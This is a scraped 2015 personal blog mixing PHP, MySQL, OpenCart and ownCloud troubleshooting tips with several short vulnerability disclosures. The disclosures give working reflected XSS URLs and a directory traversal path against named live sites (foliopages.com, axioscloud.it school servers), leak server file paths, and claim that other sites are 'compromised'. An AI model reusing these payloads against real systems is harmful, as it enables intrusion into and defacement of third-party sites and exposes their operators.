INSERT INTO `test`.`oc_category_description` (`category_id`, `language_id`, `name`, `description`, `meta_title`, `meta_description`, `meta_keyword`) VALUES (@lastinsert, '2', @catname, @catname, @catname, @catname, @catname);

INSERT INTO `test`.`oc_category_to_store` (`category_id`,`store_id`) VALUES( @lastinsert, '0');
INSERT INTO `oc_url_alias` (`query`, `keyword`) VALUES (CONCAT('category_id=', @lastinsert ), @catname);
INSERT INTO `oc_category_path` (`category_id`, `path_id`, `level`) VALUES (@lastinsert, @lastinsert, '0') ;

Tuesday, 22 September 2015

http://www.foliopages.com/php-photo-gallery-no-database XSS, files informations leakage, directory traversal

http://www.foliopages.com/php-photo-gallery-no-database


Sample XSS
http://www.foliopages.com/demos/folio-gallery/demo.php?album=Big+Bear+California</title><script>alert('http://trueliarx.blogspot.com');</script>

(with multiple pages)

http://www.foliopages.com/demos/folio-gallery/demo.php?album=Big+Bear+California&p=<script>alert('http://trueliarx.blogspot.com');</script>


http://localhost/demo.php?album=frankenstein%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E%3C


Errors

Warning: scandir(albums/Big Bear California</title><script>alert('http://trueliarx.blogspot.com');</script>): failed to open dir: No such file or directory in /home/foliopag/public_html/demos/folio-gallery/folio-gallery.php on line 162

Warning: scandir(): (errno 2): No such file or directory in /home/foliopag/public_html/demos/folio-gallery/folio-gallery.php on line 162

Warning: Invalid argument supplied for foreach() in /home/foliopag/public_html/demos/folio-gallery/folio-gallery.php on line 165
There are no photos in this album!

view other folder names
http://www.foliopages.com/demos/folio-gallery/demo.php?album=../../../../../../../../../../../../../../../home/foliopag/public_html/dancer

Hot to get the file extension with PHP.

An easy way to get the extension of a file  with php.

$src = 'myname.jpg';

$arr = explode('.',$src);
$extension = $arr[count($arr)-1];

$echo $extension;


The result will be 'jpg'.

Sunday, 20 September 2015

Opencart - css - set image thumbnail preview rectangle border to fit the image (ex. square)


Opencart - css - set image thumbnail preview rectangle border to fit the image (ex. square)


Add in your stylesheet.css


/*fix centering the product thumbnails and resizing to square*/
.thumbnail {
display: inline-block;

}
.thumbnails li {
    text-align: center;
}
/*end of fix*/

https://www.myfonts.com/ | raising errors - no tests

https://www.myfonts.com/
Error raised by using a specific image that doesn't fit any kind of character. Submit without any value to get the error. That's all.











( ! ) Warning: implode(): Invalid arguments passed in /home/serve_me/www/trunk/include/WhatTheFont/Utils.php on line 24
Call Stack
#TimeMemoryFunctionLocation
10.0000246064{main}( ).../rewrite.php:0
20.02461993640require( '/home/serve_me/www/trunk/webroot/widgets/wtf/wtf.php' ).../rewrite.php:52
30.03003346192require( '/home/serve_me/www/trunk/webroot/widgets/wtf/results.php' ).../wtf.php:19
40.04843572104WhatTheFont\WhatTheFont->getFontMatches( ).../results.php:29
50.04843572336WhatTheFont\Client->getResult( ).../WhatTheFont.php:192
60.04843572336WhatTheFont\Client->attemptConnection( ).../Client.php:227
70.05003572872WhatTheFont\Client->getMessage( ).../Client.php:208
80.05003573080WhatTheFont\Utils::convertCharacters( ).../Client.php:195
90.05003573304implode ( ).../Utils.php:24

( ! ) Warning: implode(): Invalid arguments passed in /home/serve_me/www/trunk/webroot/widgets/wtf/results.php on line 37
Call Stack
#TimeMemoryFunctionLocation
10.0000246064{main}( ).../rewrite.php:0
20.02461993640require( '/home/serve_me/www/trunk/webroot/widgets/wtf/wtf.php' ).../rewrite.php:52
30.03003346192require( '/home/serve_me/www/trunk/webroot/widgets/wtf/results.php' ).../wtf.php:19
40.07933645072implode ( ).../results.php:37

Wednesday, 16 September 2015

How to show PHP errors in the web browser - the php error reporting

When you need to show all the PHP errors in the browsers just use this code

ini_set('display_errors',1);
ini_set('display_startup_errors',1);
error_reporting(E_ALL);

It should work with any version of PHP to report quite any kind of PHP error while you are debugging your code.

Remember to disable the error reporting when in production.



Saturday, 12 September 2015

FIX - phpmysql error - #1273 - #1273 - Unknown collation: 'utf8mb4_general_ci' - with sql file only

How to FIX - phpmysql error - #1273 - #1273 - Unknown collation: 'utf8mb4_general_ci'

Why does it happens?

The utf8mb4_unicode_ci is supported only on mysql servers 5.5.3+ and you will not be available on older servers. That's all.










The worst solution

if you have only an sql file you can TRY to

... COLLATE utf8mb4_unicode_ci
to
utf8_general_ci

but it's NOT SAFE because you can probably have problems with the encoding!!! I've tested and it also works but really don't know if there can be consequences.


The best solution


Export from the original database in utf8_general_ci or, if you just have the sql, Import your data in a newer mysql server (5.5.3+) and export again with utf8_general_ci!


Another way to do it
If you want to operate on a live database run this sql for each table.

ALTER TABLE name-of-table CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci


Sample (crappy) php code


<?php
 $dbuser = 'test2';
 $dbpassword = 'test2';
 $dbhost = 'localhost';
 $dbname = 'test2';
    $dbconn=mysqli_connect($dbhost, $dbuser, $dbpassword);
    mysqli_select_db($dbconn,$dbname);
    $mydata=mysqli_query($dbconn, 'show tables');
    while($mytables = mysqli_fetch_array($mydata)) {
       foreach ($mytables as $myktable => $mytable) {
        mysqli_query($dbconn, "ALTER TABLE $mytable CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci");

       }

    }
?> 
 
 
and then export your data.




This happened with several cms like wordpress, joomla, magento, opencart, drupal, smf forums, etc.

It's not a problem related to the scripts!

Monday, 7 September 2015

[FIX] An exception occured in driver: could not find driver

Usually the error occurs when PDO is not enabled and pdo sqlite could not find driver.

Go to your php.ini configuration file and uncomment or add

extension=php_pdo_sqlite.dll

make sure that also
extension=php_sqlite3.dll
is enabled.

Restart your web server.

how to use owncloud on windows server

Even if it's not suggested you can run ownlcoud scripts on your local windows server

go in /lib/private/util.php
and comment or remove near line 581:

/*
        if(OC_Util::runningOnWindows()) {
            $errors[] = [
                'error' => $l->t('Microsoft Windows Platform is not supported'),
                'hint' => $l->t('Running ownCloud Server on the Microsoft Windows platform is not supported. We suggest you ' .
                    'use a Linux server in a virtual machine if you have no option for migrating the server itself. ' .
                    'Find Linux packages as well as easy to deploy virtual machine images on <a href="%s">%s</a>. ' .
                    'For migrating existing installations to Linux you can find some tips and a migration script ' .
                    'in <a href="%s">our documentation</a>.',
                    ['https://owncloud.org/install/', 'owncloud.org/install/', 'https://owncloud.org/?p=8045'])
            ];
        } */



Thursday, 3 September 2015

axioscloud.it | xss, system compromise


There are too many server/sites in this case. Append that string:
<video src=1 onerror=alert('testamento')>

From server
https://re1.axioscloud.it/Secret/RELogOff.aspx?Error_Desc=
to (change the initial RE part with nr) server
https://re35.axioscloud.it/Secret/RELogOff.aspx?Error_Desc=

https://redemo.axioscloud.it/Secret/RELogOff.aspx?Error_Desc=





www.sissiweb.it - the system is already compromised - win

Tuesday, 1 September 2015

ancelleinrete.it | system compromise


path: /var/www/vova/data/www/ancelleinrete.it/

passwd

Twitter Delicious Facebook Digg Stumbleupon Favorites More